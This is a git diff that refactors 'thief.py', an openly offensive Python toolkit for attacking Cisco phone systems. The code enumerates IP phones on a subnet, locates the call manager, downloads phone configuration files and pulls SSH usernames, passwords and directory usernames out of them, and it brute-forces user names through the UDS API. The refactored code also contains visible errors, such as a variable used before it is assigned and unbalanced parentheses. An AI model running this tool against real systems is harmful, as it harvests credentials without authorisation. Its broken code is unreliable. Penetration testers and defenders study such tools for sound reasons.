diff --git a/thief.py b/thief.py index de88343..687dee6 100755 --- a/thief.py +++ b/thief.py @@ -7,10 +7,11 @@ import string from bs4 import BeautifulSoup from alive_progress import alive_bar +from typing import Optional requests.packages.urllib3.disable_warnings() -def banner(): +def banner() -> None: print( ''' ___________ @@ -47,234 +48,251 @@ def banner(): ''' ) +class NetworkObject(object): + def __init__(self) -> None: + self.session = requests.session() + pass + def hostname_resolves(self, hostname : str) -> bool: + try: + socket.gethostbyname(hostname) + return True + except socket.error: + return False + def to_network(self, input : str) -> ipaddress.IPv4Network: + return ipaddress.IPv4Interface(input).network + def _get(self, **kwargs) -> requests.Response: + return self.session.get(**kwargs) + def _post(self, **kwargs) -> requests.Response: + return self.session.post(**kwargs) - -def enumerate_phones_subnet(input): - hosts = [] - if '/' in input: - subnet = ipaddress.IPv4Interface(input).network - for host in subnet.hosts(): - mac = None - url = 'http://{host}/NetworkConfiguration'.format(host=host) - try: - r = requests.head(url, verify=False, timeout=3) - if re.match("^[2]\d\d$", str(r.status_code)): - http_response = requests.get(url) - phone_hostname = re.search(r'Host name.*(SEP[A-F0-9]{12})',http_response.text,re.IGNORECASE).group(1) - filename = "{phone_hostname}.cnf.xml".format(phone_hostname=phone_hostname) - cucm_host = parse_cucm(http_response.text) - return_url = 'http://{cucm_host}:6970/{filename}'.format(cucm_host=cucm_host,filename=filename) - phone_object = {"ip": host, "hostname": phone_hostname, "url": return_url} - hosts.append(phone_object) - print('[*] - Found Phone {phone_hostname} - IP {host}'.format(phone_hostname=phone_hostname,host=host)) - except Exception as e: - pass - return hosts - return None - -def parse_cucm(html): - cucm = re.search(r'(\S+)\ +Active',html,re.IGNORECASE) - if cucm is None: - return None - else: - if cucm.group(1): - return cucm.group(1).replace('-','-') - -def parse_subnet(html): - html = html.replace('\n','').replace('\r','') - subnet_mask = re.search(r'Subnet Mask\ ?\r?\n?\ *(?:)?\r?\n?([12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9])',html.strip(),re.IGNORECASE) - if subnet_mask is None: +class Phone(NetworkObject): + hostname_pattern = re.compile(pattern=r'(SEP[a-z0-9]{12})', flags=re.IGNORECASE) + def __init__(self, ip=None, hostname=None, url=None, cucm=None, network_config=None) -> None: + self.ip = ip + self.hostname = hostname + self.url = url + self.cucm = cucm + self.network_config = network_config + def parse_phone_hostname(self, input : str) -> Optional[str]: + hostname = self.hostname_pattern.search(string=input) + if hostname is None: + return None + else: + if hostname.group(1): + return hostname.group(1) + def get_hostname_from_phone(self, phone : str=None) -> str: + if phone is None: + phone = self.hostname or self.ip + __http_response = self._get(f"http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.device") + if __http_response.status_code == 404: + if verbose: + print(f'Config file not found on HTTP Server: {phone}') + else: + lines = __http_response.text + return self.parse_phone_hostname(lines) + def get_cucm_name_from_phone(self, phone : str=None) -> Optional[str]: + if phone is None: + phone = self.hostname or self.ip + try: + __http_response = self._get(url=f'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration', timeout=2) + if __http_response.status_code == 404: + __http_response = self._get(url=f'http://{phone}/NetworkConfiguration') + return self.parse_cucm(__http_response.text) + except Exception as e: + pass + def get_network_config(self) -> Optional[str]: + phone = self.hostname or self.ip + try: + __http_response = self._get(url=f'http://{phone}/NetworkConfiguration') + if __http_response.status_code == 404: + __http_response = self._get(url=f'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration', timeout=2) + self.network_config = __http_response.text + return __http_response.text + except Exception as e: + pass return None - else: - if subnet_mask.group(1): - return subnet_mask.group(1) - -def get_hostname_from_phone(phone): - url = "http://{0}/CGI/Java/Serviceability?adapter=device.statistics.device".format(phone) - __http_response = requests.get(url) - if __http_response.status_code == 404: - if verbose: - print('Config file not found on HTTP Server: {0}'.format(phone)) - else: - lines = __http_response.text - return parse_phone_hostname(lines) - - -def parse_phone_hostname(html): - html = html.replace('\n','').replace('\r','') - hostname = re.search(r'(SEP[a-z0-9]{12})',html.strip(),re.IGNORECASE) - if hostname is None: + def parse_cucm(self, html : str) -> Optional[str]: + cucm = re.search(r'(\S+)\ +Active',html,re.IGNORECASE) + if not cucm is None: + if cucm.group(1): + self.cucm = cucm.group(1).replace('-','-') + return self.cucm return None - else: - if hostname.group(1): - return hostname.group(1) - -def parse_filename(html): - html = html.replace('\n','').replace('\r','') - filename = re.search(r'(? Optional[str]: + html = html.replace('\n','').replace('\r','') + subnet_mask = re.search(r'Subnet Mask\ ?\r?\n?\ *(?:)?\r?\n?([12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9])',html.strip(),re.IGNORECASE) + if not subnet_mask is None: + if subnet_mask.group(1): + return subnet_mask.group(1) return None - else: - if filename.group(1): - return filename.group(1) - -def hostname_resolves(hostname): - try: - socket.gethostbyname(hostname) - return 1 - except socket.error: - return 0 + def get_phones_hostnames_from_reverse(self, input : str) -> Optional[list]: + hostnames = [] + phone_hostnames = [] + if '/' in input: + subnet = self.to_network(input) + else: + self.get_network_config() + url = 'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration'.format(phone=input) + __http_response = self._get(url, timeout=2) + if __http_response.status_code == 404: + url = f'http://{phone}/NetworkConfiguration' + __http_response = self._get(url) + subnet_mask = self.parse_subnet(__http_response.text) + # + if re.search(r'Cisco Unified IP Phone Cisco Communicator',__http_response.text,re.IGNORECASE): + pass + else: + subnet = self.to_network(u'{phone}/{subnet_mask}'.format(phone=input, subnet_mask=subnet_mask)) + phone_hostname = re.search(r'Host name.*(SEP[A-F0-9]{12})',__http_response.text,re.IGNORECASE).group(1) + if phone_hostname: + hostnames.append(phone_hostname) + for host in subnet.hosts(): + try: + hostnames.append(socket.gethostbyaddr(host.exploded)[0]) + except socket.herror: + pass + for line in hostnames: + host = re.search(r'SEP[0-9A-F]{12}',line,re.IGNORECASE) + if host is not None: + phone_hostnames.append(host.group(0)) + if phone_hostnames == []: + return None + else: + return phone_hostnames -def get_cucm_name_from_phone(phone): - url = 'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration'.format(phone=phone) - try: - __http_response = requests.get(url, timeout=2) - if __http_response.status_code == 404: - url = 'http://{phone}/NetworkConfiguration'.format(phone=phone) - __http_response = requests.get(url) - return parse_cucm(__http_response.text) - except Exception as e: +class CCUM_CLIENT(NetworkObject): + def __init__(self, CUCM_host=None, cucm_version=None): + self.CUCM_host = CUCM_host + self.cucm_version = cucm_version + self.found_credentials = [] + self.found_usernames = [] pass - -def get_phones_hostnames_from_reverse(input): - hostnames = [] - phone_hostnames = [] - if '/' in input: - subnet = ipaddress.IPv4Interface(input).network - else: - url = 'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration'.format(phone=input) - __http_response = requests.get(url, timeout=2) - if __http_response.status_code == 404: - url = 'http://{phone}/NetworkConfiguration'.format(phone=phone) - __http_response = requests.get(url) - subnet_mask = parse_subnet(__http_response.text) - - if re.search(r'Cisco Unified IP Phone Cisco Communicator',__http_response.text,re.IGNORECASE): - pass + def search_for_secrets(self, CUCM_host : str, filename : str) -> None: + lines = str() + user = str() + user2 = str() + password = str() + url = f"http://{CUCM_host}:6970/{filename}" + try: + __http_response = self._get(url, timeout=10) + if __http_response.status_code == 404: + if verbose: + print('Config file not found on HTTP Server: {0}'.format(filename)) + else: + lines = __http_response.text + for line in lines.split('\n'): + match = re.search(r'((\S+)|(\S+)|(\S+)|(\S+)|(\S+))',line) + if match: + if match.group(2): + user = match.group(2) + self.found_usernames.append((user,filename)) + if match.group(3): + password = match.group(3) + self.found_credentials.append((user,password,filename)) + if match.group(4): + user2 = match.group(4) + self.found_usernames.append((user2,filename)) + if match.group(5): + user2 = match.group(5) + self.found_credentials.append(('unknown',password,filename)) + if verbose: + if user and password: + print('{0}\t{1}\t{2}'.format(filename,user,password)) + elif user: + print('SSH Username is {0} password was not set in {1}'.format(user,filename)) + elif password: + print('SSH Username is not set, but password is {0} in {1}'.format(password,filename)) + elif user2: + print('Possible AD username {0} found in config {1}'.format(user2,filename)) + else: + if verbose: + print('Username and password not set in {0}'.format(filename)) + except Exception as e: + print("Could not connect to {CUCM_host}".format(CUCM_host=CUCM_host)) + def get_config_names(self, CUCM_host, hostnames=None) -> Optional[list]: + config_names = [] + if hostnames is None: + url = f"http://{CUCM_host}:6970/ConfigFileCacheList.txt" + try: + __http_response = self._get(url, timeout=2) + if __http_response.status_code != 404: + lines = __http_response.text + for line in lines.split('\n'): + match = re.match(r'((?:CIP|SEP)[0-9A-F]{12}\S+)',line, re.IGNORECASE) + if match: + config_names.append(match.group(1)) + except requests.exceptions.ConnectionError: + print('CUCM Server {} is not responding'.format(CUCM_host)) else: - subnet = ipaddress.IPv4Interface(u'{phone}/{subnet_mask}'.format(phone=input, subnet_mask=subnet_mask)).network - phone_hostname = re.search(r'Host name.*(SEP[A-F0-9]{12})',__http_response.text,re.IGNORECASE).group(1) - if phone_hostname: - hostnames.append(phone_hostname) - for host in subnet.hosts(): - try: - hostnames.append(socket.gethostbyaddr(host.exploded)[0]) - except socket.herror: - pass - for line in hostnames: - host = re.search(r'SEP[0-9A-F]{12}',line,re.IGNORECASE) - if host is not None: - phone_hostnames.append(host.group(0)) - if phone_hostnames == []: - return None - else: - return phone_hostnames - -def get_config_names(CUCM_host,hostnames=None): - config_names = [] - if hostnames is None: - url = "http://{0}:6970/ConfigFileCacheList.txt".format(CUCM_host) + for host in hostnames: + config_names.append('{host}.cnf.xml'.format(host=host)) + if config_names == []: + return None + else: + return config_names + def get_users_api(self, CUCM_host : str=None) -> list: + usernames = [] + base_url = f'https://{CUCM_host}:8443/cucm-uds/users?name=' + try: + with alive_bar(676, title="> Identifying Users ", ) as prog_bar: + for char1 in string.ascii_lowercase: + for char2 in string.ascii_lowercase: + prog_bar() + url = base_url+char1+char2 + __http_response = self._get(url, timeout=2,verify=False) + if __http_response.status_code != 404: + lines = __http_response.text + soup = BeautifulSoup(lines, 'lxml') + for user in soup.find_all('username'): + usernames.append(user.text) + except requests.exceptions.ConnectionError: + print('CUCM Server {} is not responding'.format(CUCM_host)) + self.usernames = usernames + return usernames + def get_version(self, CUCM_host : str) -> Optional[str]: + base_url = f'https://{CUCM_host}:8443/cucm-uds/version' try: - __http_response = requests.get(url, timeout=2) + __http_response = self._get(base_url, timeout=2,verify=False) if __http_response.status_code != 404: lines = __http_response.text - for line in lines.split('\n'): - match = re.match(r'((?:CIP|SEP)[0-9A-F]{12}\S+)',line, re.IGNORECASE) - if match: - config_names.append(match.group(1)) + soup = BeautifulSoup(lines, 'lxml') + cucm_version = soup.findAll('version')[0].text + print(f'CUCM is running version {cucm_version}') + self.cucm_version = cucm_version + return cucm_version except requests.exceptions.ConnectionError: print('CUCM Server {} is not responding'.format(CUCM_host)) - else: - for host in hostnames: - config_names.append('{host}.cnf.xml'.format(host=host)) - if config_names == []: + return + def get_phone_config(self, phone_hostname : str) -> Optional[str]: + base_url = f'http://{self.CUCM_host}:6970/{phone_hostname}.cnf.xml' + try: + __http_response = self._get(base_url, timeout=2,verify=False) + if __http_response.status_code != 404: + return __http_response.text + except requests.exceptions.ConnectionError: + print(f'CUCM Server {CUCM_host} is not responding, could not get the phone config') return None - else: - return config_names - -def get_users_api(CUCM_host): - usernames = [] - base_url = f'https://{CUCM_host}:8443/cucm-uds/users?name=' - try: - with alive_bar(676, title="> Identifying Users ", ) as prog_bar: - for char1 in string.ascii_lowercase: - for char2 in string.ascii_lowercase: - prog_bar() - url = base_url+char1+char2 - __http_response = requests.get(url, timeout=2,verify=False) - if __http_response.status_code != 404: - lines = __http_response.text - soup = BeautifulSoup(lines, 'lxml') - for user in soup.find_all('username'): - usernames.append(user.text) - except requests.exceptions.ConnectionError: - print('CUCM Server {} is not responding'.format(CUCM_host)) - return usernames -def get_version(CUCM_host): - base_url = f'https://{CUCM_host}:8443/cucm-uds/version' - try: - __http_response = requests.get(base_url, timeout=2,verify=False) - if __http_response.status_code != 404: - lines = __http_response.text - soup = BeautifulSoup(lines, 'lxml') - cucm_version = soup.findAll('version')[0].text - print(f'CUCM is running version {cucm_version}') - except requests.exceptions.ConnectionError: - print('CUCM Server {} is not responding'.format(CUCM_host)) - return - -def search_for_secrets(CUCM_host,filename): - global found_credentials - global found_usernames - lines = str() - user = str() - user2 = str() - password = str() - url = "http://{0}:6970/{1}".format(CUCM_host, - filename) - try: - __http_response = requests.get(url, timeout=10) - if __http_response.status_code == 404: - if verbose: - print('Config file not found on HTTP Server: {0}'.format(filename)) - else: - lines = __http_response.text - for line in lines.split('\n'): - match = re.search(r'((\S+)|(\S+)|(\S+)|(\S+)|(\S+))',line) - if match: - if match.group(2): - user = match.group(2) - found_usernames.append((user,filename)) - if match.group(3): - password = match.group(3) - found_credentials.append((user,password,filename)) - if match.group(4): - user2 = match.group(4) - found_usernames.append((user2,filename)) - if match.group(5): - user2 = match.group(5) - found_credentials.append(('unknown',password,filename)) - if verbose: - if user and password: - print('{0}\t{1}\t{2}'.format(filename,user,password)) - elif user: - print('SSH Username is {0} password was not set in {1}'.format(user,filename)) - elif password: - print('SSH Username is not set, but password is {0} in {1}'.format(password,filename)) - elif user2: - print('Possible AD username {0} found in config {1}'.format(user2,filename)) - else: - if verbose: - print('Username and password not set in {0}'.format(filename)) - except Exception as e: - print("Could not connect to {CUCM_host}".format(CUCM_host=CUCM_host)) +def enumerate_phones_subnet(input : str) -> Optional[list]: + hosts = [] + if '/' in input: + ccum_client = CCUM_CLIENT() + subnet = ipaddress.IPv4Interface(input).network + for host in subnet.hosts(): + try: + phone = Phone(ip=host) + phone_config = phone.get_network_config() + phone_hostname = phone.parse_phone_hostname(phone_hostname) + phone_config2 = ccum_client.get_phone_config(phone_hostname) + print(f'[*] - Found Phone {phone_hostname} - IP {host}') + hosts.append((phone, phone_config, phone_config2)) + except Exception as e: + pass + return hosts + return None if __name__ == '__main__': banner() - global found_usernames - global found_credentials - parser = argparse.ArgumentParser(description='Penetration Toolkit for attacking Cisco Phone Systems by stealing credentials from phone configuration files') parser.add_argument('-H','--host', default=None, type=str, help='IP Address of Cisco Unified Communications Manager') parser.add_argument('--userenum', action='store_true', default=False, help='Enable user enumeration via UDS api') @@ -283,9 +301,11 @@ def search_for_secrets(CUCM_host,filename): parser.add_argument('-s','--subnet', type=str, help='IP Address of a Cisco Phone') parser.add_argument('-v','--verbose', action='store_true', default=False, help='Enable Verbose Logging') parser.add_argument('-e','--enumsubnet', type=str, help='IP Subnet to enumerate and pull credentials from in CIDR format x.x.x.x/24') - args = parser.parse_args() + ccum_client = CCUM_CLIENT(CUCM_host=args.host) + phone = Phone(ip=args.phone) + CUCM_host = args.host phone = args.phone subnet = args.subnet @@ -297,7 +317,7 @@ def search_for_secrets(CUCM_host,filename): hostnames = [] outfile = args.outfile - get_version(CUCM_host) + ccum_client.get_version(CUCM_host) if enumsubnet: hosts = enumerate_phones_subnet(enumsubnet) @@ -305,12 +325,12 @@ def search_for_secrets(CUCM_host,filename): found_credentials.clear() found_usernames.clear() if CUCM_host is None: - CUCM_host = get_cucm_name_from_phone(host["ip"]) - if hostname_resolves(CUCM_host): - file_names = get_config_names(CUCM_host, hostnames=[host["hostname"]]) + CUCM_host = phone.get_cucm_name_from_phone(host["ip"]) + if ccum_client.hostname_resolves(CUCM_host): + file_names = ccum_client.get_config_names(CUCM_host, hostnames=[host["hostname"]]) for file in file_names: print('Connecting to {CUCM_host} and getting config for {host}/{hostname}'.format(CUCM_host=CUCM_host,host=host["ip"],hostname=host["hostname"])) - search_for_secrets(CUCM_host,file) + ccum_client.search_for_secrets(CUCM_host,file) if found_credentials != []: print('Credentials Found in Configurations!') for cred in found_credentials: @@ -323,43 +343,43 @@ def search_for_secrets(CUCM_host,filename): quit(0) elif phone: if args.host is None: - CUCM_host = get_cucm_name_from_phone(phone) + CUCM_host = phone.get_cucm_name_from_phone(phone) else: CUCM_host = args.host if CUCM_host is None: print('Unable to automatically detect the CUCM Server. Please specify the CUCM server') quit(1) else: - print('The detected IP address/hostname for the CUCM server is {}'.format(CUCM_host)) + print(f'The detected IP address/hostname for the CUCM server is {CUCM_host}')) elif args.host: CUCM_host = args.host else: print('You must enter either a phone IP address or the IP address of the CUCM server') quit(1) - file_names = get_config_names(CUCM_host) + file_names = ccum_client.get_config_names(CUCM_host) if file_names is None: if phone: - hostnames = [get_hostname_from_phone(phone)] - hostnames += get_phones_hostnames_from_reverse(phone) + hostnames = [phone.get_hostname_from_phone(phone)] + hostnames += phone.get_phones_hostnames_from_reverse(phone) if subnet: if hostnames == []: - hostnames = get_phones_hostnames_from_reverse(subnet) + hostnames = phone.get_phones_hostnames_from_reverse(subnet) else: - _hostnames = get_phones_hostnames_from_reverse(subnet) + _hostnames = phone.get_phones_hostnames_from_reverse(subnet) if _hostnames: for host in _hostnames: hostnames.append(host.rstrip()) if hostnames == []: - file_names = get_config_names(CUCM_host) + file_names = ccum_client.get_config_names(CUCM_host) else: - file_names = get_config_names(CUCM_host, hostnames=hostnames) + file_names = ccum_client.get_config_names(CUCM_host, hostnames=hostnames) if file_names is None: print('Unable to detect file names from CUCM') else: for file in file_names: - search_for_secrets(CUCM_host,file) + ccum_client.search_for_secrets(CUCM_host,file) if found_credentials != []: print('Credentials Found in Configurations!') @@ -373,7 +393,7 @@ def search_for_secrets(CUCM_host,filename): if args.userenum: print('Getting users from UDS API.') #each API call is limited by default to 64 users per request - api_users = get_users_api(CUCM_host) + api_users = ccum_client.get_users_api(CUCM_host) if api_users != []: unique_users = set(api_users) api_users = list(unique_users) @@ -383,5 +403,4 @@ def search_for_secrets(CUCM_host,filename): print(f'The following {len(api_users)} users were identified from the UDS API') if verbose: for username in api_users: - print('{0}'.format(username)) - + print(f'{username}'))